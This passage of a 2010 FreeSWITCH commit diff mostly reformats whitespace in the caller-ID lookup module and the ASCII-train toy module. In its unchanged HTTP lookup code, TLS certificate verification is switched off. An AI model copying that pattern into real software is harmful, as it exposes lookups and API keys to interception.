SWITCH_CONFIG_ITEM_CALLBACK("odbc-dsn", SWITCH_CONFIG_STRING, CONFIG_RELOAD, &globals.odbc_dsn, "", config_callback_dsn, &config_opt_dsn,
- "db:user:passwd", "Database to use."),
+ "db:user:passwd", "Database to use."),
SWITCH_CONFIG_ITEM_END()
};
@@ -166,7 +174,7 @@
if (switch_xml_config_parse_module_settings("cidlookup.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_GENERR;
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -179,10 +187,10 @@
{
switch_bool_t retval = SWITCH_FALSE;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (globals.odbc_dsn && (dbh = cidlookup_get_db_handle())) {
- if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *)cbt, err)
- == SWITCH_ODBC_FAIL) {
+ if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *) cbt, err)
+ == SWITCH_ODBC_FAIL) {
retval = SWITCH_FALSE;
} else {
retval = SWITCH_TRUE;
@@ -190,7 +198,7 @@
} else {
*err = switch_core_sprintf(cbt->pool, "Unable to get ODBC handle. dsn: %s, dbh is %s\n", globals.odbc_dsn, dbh ? "not null" : "null");
}
-
+
switch_cache_db_release_db_handle(&dbh);
return retval;
}
@@ -199,33 +207,31 @@
{
callback_t *cbt = (callback_t *) pArg;
switch_memory_pool_t *pool = cbt->pool;
-
+
if (argc < 1) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "Unexpected number of columns returned for SQL. Returned column count: %d. ",
- argc);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unexpected number of columns returned for SQL. Returned column count: %d. ", argc);
return SWITCH_STATUS_GENERR;
}
cbt->name = switch_core_strdup(pool, switch_str_nil(argv[0]));
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Name: %s\n", cbt->name);
-
+
return SWITCH_STATUS_SUCCESS;
}
/* make a new string with digits only */
-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
{
char *p, *np, *newstr;
size_t len;
- p = (char *)str;
+ p = (char *) str;
len = strlen(str);
- newstr = switch_core_alloc(pool, len+1);
+ newstr = switch_core_alloc(pool, len + 1);
switch_assert(newstr);
np = newstr;
-
- while(*p) {
+
+ while (*p) {
if (switch_isdigit(*p)) {
*np = *p;
np++;
@@ -237,16 +243,17 @@
return newstr;
}
-static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
+static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number)
+{
char *cmd;
char *name = NULL;
char *area = NULL;
char *src = NULL;
cid_data_t *cid = NULL;
switch_stream_handle_t stream = { 0 };
-
+
SWITCH_STANDARD_STREAM(stream);
-
+
cmd = switch_core_sprintf(pool, "get fs:cidlookup:name:%s", number);
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
if (strncmp("-ERR", stream.data, 4)) {
@@ -275,7 +282,7 @@
src = NULL;
}
}
-
+
if (name || area || src) {
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
@@ -283,24 +290,21 @@
cid->area = area;
cid->src = src;
}
-
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
- cmd,
- (name) ? name : "(null)",
- (area) ? area : "(null)",
- (src) ? src : "(null)"
- );
+
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
+ cmd, (name) ? name : "(null)", (area) ? area : "(null)", (src) ? src : "(null)");
switch_safe_free(stream.data);
return cid;
}
-switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid) {
+switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid)
+{
char *cmd;
switch_bool_t success = SWITCH_TRUE;
switch_stream_handle_t stream = { 0 };
-
+
SWITCH_STANDARD_STREAM(stream);
-
+
cmd = switch_core_sprintf(pool, "set fs:cidlookup:name:%s '%s' %d", number, cid->name, globals.cache_expire);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: %s\n", cmd);
if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
@@ -334,7 +338,7 @@
}
}
-done:
+ done:
switch_safe_free(stream.data);
return success;
}
@@ -347,17 +351,18 @@
http_data->bytes += realsize;
if (http_data->bytes > http_data->max_bytes) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
http_data->err = 1;
return 0;
}
- http_data->stream.write_function(
- &http_data->stream, "%.*s", realsize, ptr);
+ http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
return realsize;
}
-static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post, struct curl_slist *headers, int timeout) {
+static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post,
+ struct curl_slist *headers, int timeout)
+{
switch_time_t start_time = switch_micro_time_now();
switch_time_t time_diff = 0;
CURL *curl_handle = NULL;
@@ -365,20 +370,20 @@
char hostname[256] = "";
struct http_data http_data;
-
+
memset(&http_data, 0, sizeof(http_data));
-
+
http_data.max_bytes = 10240;
SWITCH_STANDARD_STREAM(http_data.stream);
gethostname(hostname, sizeof(hostname));
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "url: %s\n", query);
curl_handle = curl_easy_init();
-
+
curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0);
curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
-
+
if (!strncasecmp(query, "https", 5)) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
@@ -394,7 +399,7 @@
curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
/*
- TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
+ TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
*/
#ifdef CURLOPT_TIMEOUT_MS
if (timeout > 0) {
@@ -406,7 +411,7 @@
if (timeout > 0) {
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
} else {
- curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout/1000);
+ curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout / 1000);
}
#endif
curl_easy_setopt(curl_handle, CURLOPT_URL, query);
@@ -417,34 +422,24 @@
curl_easy_perform(curl_handle);
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
curl_easy_cleanup(curl_handle);
-
- if ( http_data.stream.data &&
- !zstr((char *)http_data.stream.data) &&
- strcmp(" ", http_data.stream.data) ) {
-
+
+ if (http_data.stream.data && !zstr((char *) http_data.stream.data) && strcmp(" ", http_data.stream.data)) {
+
/* don't return UNKNOWN */
- if (strcmp("UNKNOWN", http_data.stream.data) ||
- strcmp("UNAVAILABLE", http_data.stream.data)) {
+ if (strcmp("UNKNOWN", http_data.stream.data) || strcmp("UNAVAILABLE", http_data.stream.data)) {
*response = switch_core_strdup(pool, http_data.stream.data);
}
}
-
- time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
-
- if ((time_diff/1000) >= globals.curl_warnduration) {
+
+ time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
+
+ if ((time_diff / 1000) >= globals.curl_warnduration) {
switch_core_time_duration_t duration;
switch_core_measure_time(time_diff, &duration);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SLOW LOOKUP ("
- "%um, "
- "%us, "
- "%ums"
- "): url: %s\n",
- duration.min,
- duration.sec,
- duration.ms,
- query);
+ "%um, " "%us, " "%ums" "): url: %s\n", duration.min, duration.sec, duration.ms, query);
}
-
+
switch_safe_free(http_data.stream.data);
return httpRes;
}
@@ -463,19 +458,19 @@
/* NANPA check */
if (strlen(num) == 11 && num[0] == '1') {
- num++; /* skip past leading 1 */
+ num++; /* skip past leading 1 */
} else {
goto done;
}
-
+
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-cid", num);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-api-key", globals.whitepages_apikey);
-
+
query = switch_event_expand_headers(event, "http://api.whitepages.com/reverse_phone/1.0/?phone=${whitepages-cid};api_key=${whitepages-api-key}");
do_lookup_url(pool, event, &xml_s, query, NULL, NULL, 0);
-
+
xml = switch_xml_parse_str_dup(xml_s);
-
+
if (!xml) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", xml_s);
goto done;
@@ -487,14 +482,14 @@
name = switch_core_strdup(pool, switch_xml_txt(node));
goto area;
}
-
+
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:displayname", -1);
if (node) {
name = switch_core_strdup(pool, switch_xml_txt(node));
}
-area:
-
+ area:
+
node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:address", 0, "wp:city", -1);
if (node) {
city = switch_xml_txt(node);
@@ -504,12 +499,12 @@
if (node) {
state = switch_xml_txt(node);
}
-
+
if (city || state) {
area = switch_core_sprintf(pool, "%s %s", city ? city : "", state ? state : "");
}
-done:
+ done:
if (query) {
switch_safe_free(query);
@@ -519,23 +514,24 @@
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages XML: %s\n", xml_s);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages name: %s, area: %s\n", name ? name : "(null)", area ? area : "(null)");
-
+
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
-
+
cid->name = name;
cid->area = area;
cid->src = "whitepages";
return cid;
}
-static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
+static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql)
+{
char *name = NULL;
char *newsql = NULL;
char *err = NULL;
callback_t cbt = { 0 };
cbt.pool = pool;
-
+
if (globals.odbc_dsn) {
newsql = switch_event_expand_headers(event, sql);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", newsql);
@@ -551,13 +547,14 @@
return name;
}
-static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
+static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate)
+{
char *number = NULL;
char *name = NULL;
char *url_query = NULL;
cid_data_t *cid = NULL;
switch_bool_t save_cache = SWITCH_FALSE;
-
+
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
@@ -581,40 +578,37 @@
goto done;
}
}
-
+
if (!skipurl && globals.whitepages_apikey) {
cid = do_whitepages_lookup(pool, event, number);
- if (cid && cid->name) { /* only cache if we have a name */
+ if (cid && cid->name) { /* only cache if we have a name */
save_cache = SWITCH_TRUE;
goto done;
}
}
-
+
if (!skipurl && globals.url) {
url_query = switch_event_expand_headers(event, globals.url);
do_lookup_url(pool, event, &name, url_query, NULL, NULL, 0);
if (name) {
cid->name = name;
cid->src = "url";
-
+
save_cache = SWITCH_TRUE;
}
if (url_query != globals.url) {
switch_safe_free(url_query);
}
}
-
-done:
+
+ done:
if (!cid) {
cid = switch_core_alloc(pool, sizeof(cid_data_t));
switch_assert(cid);
}
/* append area if we can */
- if (!cid->area &&
- !skipcitystate &&
- strlen(number) == 11 && number[0] == '1' &&
- switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
-
+ if (!cid->area && !skipcitystate && strlen(number) == 11 && number[0] == '1' && switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
+
/* yes, this is really area */
name = do_db_lookup(pool, event, number, globals.citystate_sql);
if (name) {
@@ -626,7 +620,7 @@
}
}
}
-
+
if (!cid->area) {
cid->area = "UNKNOWN";
}
@@ -636,12 +630,12 @@
if (!cid->src) {
cid->src = "UNKNOWN";
}
-
+
if (globals.cache && save_cache) {
set_cache(pool, number, cid);
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cidlookup source: %s\n", cid->src);
return cid;
}
@@ -649,7 +643,7 @@
SWITCH_STANDARD_APP(cidlookup_app_function)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
char *argv[4] = { 0 };
int argc;
char *mydata = NULL;
@@ -663,7 +657,7 @@
const char *number = NULL;
switch_bool_t skipurl = SWITCH_FALSE;
switch_bool_t skipcitystate = SWITCH_FALSE;
-
+
if (session) {
pool = switch_core_session_get_pool(session);
} else {
@@ -674,7 +668,7 @@
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
-
+
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc > 0) {
number = switch_core_session_strdup(session, argv[0]);
@@ -687,20 +681,20 @@
}
}
}
-
+
if (!number && profile) {
number = switch_caller_get_field_by_name(profile, "caller_id_number");
}
-
+
if (number) {
cid = do_lookup(pool, event, number, skipurl, skipcitystate);
}
-
+
if (switch_string_var_check_const(cid->name)) {
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
switch_goto_status(SWITCH_STATUS_GENERR, done);
}
-
+
if (cid && channel) {
switch_channel_set_variable(channel, "original_caller_id_name", switch_core_strdup(pool, profile->caller_id_name));
if (!zstr(cid->src)) {
@@ -711,10 +705,10 @@
}
profile->caller_id_name = switch_core_strdup(profile->pool, cid->name);;
}
-
+
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-
-done:
+
+ done:
if (event) {
switch_event_destroy(&event);
}
@@ -722,6 +716,7 @@
switch_core_destroy_memory_pool(&pool);
}
}
+
SWITCH_STANDARD_API(cidlookup_function)
{
switch_status_t status;
@@ -736,7 +731,7 @@
switch_bool_t skipurl = SWITCH_FALSE;
switch_bool_t skipcitystate = SWITCH_FALSE;
switch_bool_t verbose = SWITCH_FALSE;
-
+
if (zstr(cmd)) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
@@ -753,22 +748,18 @@
if (argc < 1) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
-
+
if (!strcmp("status", argv[0])) {
- stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
- globals.url ? globals.url : "(null)",
- (globals.cache) ? "true" : "false",
- globals.cache_expire);
- stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
- globals.curl_timeout,
- globals.curl_warnduration);
-
- stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
- globals.odbc_dsn ? globals.odbc_dsn : "(null)",
- globals.sql ? globals.sql : "(null)",
- globals.citystate_sql ? globals.citystate_sql : "(null)");
- stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available() ? "true" : "false");
-
+ stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
+ globals.url ? globals.url : "(null)", (globals.cache) ? "true" : "false", globals.cache_expire);
+ stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
+ globals.curl_timeout, globals.curl_warnduration);
+
+ stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
+ globals.odbc_dsn ? globals.odbc_dsn : "(null)",
+ globals.sql ? globals.sql : "(null)", globals.citystate_sql ? globals.citystate_sql : "(null)");
+ stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available()? "true" : "false");
+
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
}
for (i = 1; i < argc; i++) {
@@ -784,7 +775,7 @@
cid = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
if (cid) {
if (switch_string_var_check_const(cid->name)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
stream->write_function(stream, "-ERR Invalid CID data {%s} contains a variable\n", cid->name);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
}
@@ -798,11 +789,11 @@
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-usage:
+ usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(status, done);
-
-done:
+
+ done:
switch_safe_free(mydata);
if (event) {
switch_event_destroy(&event);
@@ -822,16 +813,16 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
memset(&globals, 0, sizeof(globals));
-
+
globals.pool = pool;
do_config(SWITCH_FALSE);
-
+
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
return SWITCH_STATUS_TERM;
}
-
+
SWITCH_ADD_API(api_interface, "cidlookup", "cidlookup API", cidlookup_function, SYNTAX);
SWITCH_ADD_APP(app_interface, "cidlookup", "Perform a CID lookup", "Perform a CID lookup",
cidlookup_app_function, "[number [skipurl]]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
Modified: freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -52,11 +52,11 @@
SWITCH_STANDARD_APP(cluechoo_app)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
-
+
switch_channel_answer(channel);
switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
- while(switch_channel_ready(channel)) {
+ while (switch_channel_ready(channel)) {
if (vgo(0, session) < 0) {
break;
}
@@ -66,7 +66,7 @@
SWITCH_STANDARD_API(cluechoo_function)
{
//stream->write_function(stream, "+OK Reloading\n");
-
+
go(0);
return SWITCH_STATUS_SUCCESS;
}
@@ -81,7 +81,7 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
-
+
SWITCH_ADD_API(api_interface, "cluechoo", "Cluechoo API", cluechoo_function, "syntax");
SWITCH_ADD_APP(app_interface, "cluechoo", "cluechoo", "cluechoo", cluechoo_app, "", SAF_NONE);
@@ -134,36 +134,45 @@
#include <unistd.h>
#include "sl.h"
-int ACCIDENT = 0;
-int LOGO = 0;
-int FLY = 0;
+int ACCIDENT = 0;
+int LOGO = 0;
+int FLY = 0;
int my_mvaddstr(int y, int x, char *str)
{
- for ( ; x < 0; ++x, ++str)
- if (*str == '\0') return ERR;
- for ( ; *str != '\0'; ++str, ++x)
- if (mvaddch(y, x, *str) == ERR) return ERR;
- return OK;
+ for (; x < 0; ++x, ++str)
+ if (*str == '\0')
+ return ERR;
+ for (; *str != '\0'; ++str, ++x)
+ if (mvaddch(y, x, *str) == ERR)
+ return ERR;
+ return OK;
}
void option(char *str)
{
- extern int ACCIDENT, FLY;
+ extern int ACCIDENT, FLY;
- while (*str != '\0') {
+ while (*str != '\0') {
switch (*str++) {
- case 'a': ACCIDENT = 1; break;
- case 'F': FLY = 1; break;
- case 'l': LOGO = 1; break;
- default: break;
+ case 'a':
+ ACCIDENT = 1;
+ break;
+ case 'F':
+ FLY = 1;
+ break;
+ case 'l':
+ LOGO = 1;
+ break;
+ default:
+ break;
}
- }
+ }
}
int go(int i)
{
- int x;
+ int x;
int sleep_len = 40000;
if (i > 0) {
@@ -171,23 +180,25 @@
}
/*
- for (i = 1; i < argc; ++i) {
- if (*argv[i] == '-') {
- option(argv[i] + 1);
- }
- }
- */
- initscr();
- signal(SIGINT, SIG_IGN);
- noecho();
- leaveok(stdscr, TRUE);
- scrollok(stdscr, FALSE);
+ for (i = 1; i < argc; ++i) {
+ if (*argv[i] == '-') {
+ option(argv[i] + 1);
+ }
+ }
+ */
+ initscr();
+ signal(SIGINT, SIG_IGN);
+ noecho();
+ leaveok(stdscr, TRUE);
+ scrollok(stdscr, FALSE);
- for (x = COLS - 1; ; --x) {
+ for (x = COLS - 1;; --x) {
if (LOGO == 0) {
- if (add_D51(x) == ERR) break;
+ if (add_D51(x) == ERR)
+ break;
} else {
- if (add_sl(x) == ERR) break;
+ if (add_sl(x) == ERR)
+ break;
}
refresh();
if (x == COLS / 4) {
@@ -195,9 +206,9 @@
} else {
usleep(sleep_len);
}
- }
- mvcur(0, COLS - 1, LINES - 1, 0);
- endwin();
+ }
+ mvcur(0, COLS - 1, LINES - 1, 0);
+ endwin();
return 0;
}
@@ -205,20 +216,20 @@
int vgo(int i, switch_core_session_t *session)
{
- int x;
+ int x;
int sleep_len = 40000;
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_frame_t *read_frame;
switch_status_t status;
- switch_codec_implementation_t read_impl = {0};
- switch_codec_t codec = {0};
+ switch_codec_implementation_t read_impl = { 0 };
+ switch_codec_t codec = { 0 };
int hangover_hits = 0, hangunder_hits = 0;
int diff_level = 400;
int hangover = 40, hangunder = 15;
int talking = 0;
int energy_level = 500;
int done = 0;
- switch_core_session_get_read_impl(session, &read_impl);
+ switch_core_session_get_read_impl(session, &read_impl);
printf("%s", SWITCH_SEQ_CLEARSCR);
@@ -226,16 +237,16 @@
sleep_len = i;
}
- initscr();
- signal(SIGINT, SIG_IGN);
- noecho();
- leaveok(stdscr, TRUE);
- scrollok(stdscr, FALSE);
+ initscr();
+ signal(SIGINT, SIG_IGN);
+ noecho();
+ leaveok(stdscr, TRUE);
+ scrollok(stdscr, FALSE);
if (switch_core_codec_init(&codec,
"L16",
- NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
+ NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
return -1;
@@ -243,28 +254,27 @@
switch_core_session_set_read_codec(session, &codec);
- for (x = COLS - 1; ; --x) {
+ for (x = COLS - 1;; --x) {
if (!done && !switch_channel_ready(channel)) {
done = 1;
}
-
+
if (!done) {
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
if (!SWITCH_READ_ACCEPTABLE(status)) {
done = 1;
}
}
-
- if (!done)
- {
+
+ if (!done) {
int16_t *fdata = (int16_t *) read_frame->data;
uint32_t samples = read_frame->datalen / sizeof(*fdata);
uint32_t score, count = 0, j = 0;
double energy = 0;
int divisor = 0;
-
+
for (count = 0; count < samples; count++) {
energy += abs(fdata[j]);
j += read_impl.number_of_channels;
@@ -275,7 +285,7 @@
}
score = (uint32_t) (energy / (samples / divisor));
-
+
if (score > energy_level) {
uint32_t diff = score - energy_level;
if (hangover_hits) {
@@ -284,7 +294,7 @@
if (diff >= diff_level || ++hangunder_hits >= hangunder) {
hangover_hits = hangunder_hits = 0;
-
+
if (!talking) {
talking = 1;
}
@@ -310,22 +320,24 @@
}
if (LOGO == 0) {
- if (add_D51(x) == ERR) break;
+ if (add_D51(x) == ERR)
+ break;
} else {
- if (add_sl(x) == ERR) break;
+ if (add_sl(x) == ERR)
+ break;
}
refresh();
/*
- if (x == COLS / 4) {
- sleep(2);
- } else {
- usleep(sleep_len);
- }
- */
- }
- mvcur(0, COLS - 1, LINES - 1, 0);
- endwin();
+ if (x == COLS / 4) {
+ sleep(2);
+ } else {
+ usleep(sleep_len);
+ }
+ */
+ }
+ mvcur(0, COLS - 1, LINES - 1, 0);
+ endwin();
switch_core_session_set_read_codec(session, NULL);
switch_core_codec_destroy(&codec);
@@ -335,103 +347,114 @@
int add_sl(int x)
{
- static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
- = {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
- {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
- {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
- {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
- {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
- {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
+ static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
+ = { {LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
+ {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
+ {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
+ {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
+ {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
+ {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}
+ };
- static char *coal[LOGOHIGHT + 1]
- = {LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN};
+ static char *coal[LOGOHIGHT + 1]
+ = { LCOAL1, LCOAL2, LCOAL3, LCOAL4, LCOAL5, LCOAL6, DELLN };
- static char *car[LOGOHIGHT + 1]
- = {LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN};
+ static char *car[LOGOHIGHT + 1]
+ = { LCAR1, LCAR2, LCAR3, LCAR4, LCAR5, LCAR6, DELLN };
- int i, y, py1 = 0, py2 = 0, py3 = 0;
-
- if (x < - LOGOLENGTH) return ERR;
- y = LINES / 2 - 3;
+ int i, y, py1 = 0, py2 = 0, py3 = 0;
- if (FLY == 1) {
+ if (x < -LOGOLENGTH)
+ return ERR;
+ y = LINES / 2 - 3;
+
+ if (FLY == 1) {
y = (x / 6) + LINES - (COLS / 6) - LOGOHIGHT;
- py1 = 2; py2 = 4; py3 = 6;
- }
+ py1 = 2;
+ py2 = 4;
+ py3 = 6;
+ }
- for (i = 0; i <= LOGOHIGHT; ++i) {
+ for (i = 0; i <= LOGOHIGHT; ++i) {
my_mvaddstr(y + i, x, sl[(LOGOLENGTH + x) / 3 % LOGOPATTERNS][i]);
my_mvaddstr(y + i + py1, x + 21, coal[i]);
my_mvaddstr(y + i + py2, x + 42, car[i]);
my_mvaddstr(y + i + py3, x + 63, car[i]);
- }
- if (ACCIDENT == 1) {
+ }
+ if (ACCIDENT == 1) {
add_man(y + 1, x + 14);
- add_man(y + 1 + py2, x + 45); add_man(y + 1 + py2, x + 53);
- add_man(y + 1 + py3, x + 66); add_man(y + 1 + py3, x + 74);
- }
- add_smoke(y - 1, x + LOGOFUNNEL);
- return OK;
+ add_man(y + 1 + py2, x + 45);
+ add_man(y + 1 + py2, x + 53);
+ add_man(y + 1 + py3, x + 66);
+ add_man(y + 1 + py3, x + 74);
+ }
+ add_smoke(y - 1, x + LOGOFUNNEL);
+ return OK;
}
static int loops = 0;
int add_D51(int x)
{
- static char *d51[D51PATTERNS][D51HIGHT + 1]
- = {{D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL11, D51WHL12, D51WHL13, D51DEL},
- {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL21, D51WHL22, D51WHL23, D51DEL},
- {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL31, D51WHL32, D51WHL33, D51DEL},
- {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL41, D51WHL42, D51WHL43, D51DEL},
- {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL51, D51WHL52, D51WHL53, D51DEL},
- {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
- D51WHL61, D51WHL62, D51WHL63, D51DEL}};
- static char *coal[D51HIGHT + 1]
- = {COAL01, COAL02, COAL03, COAL04, COAL05,
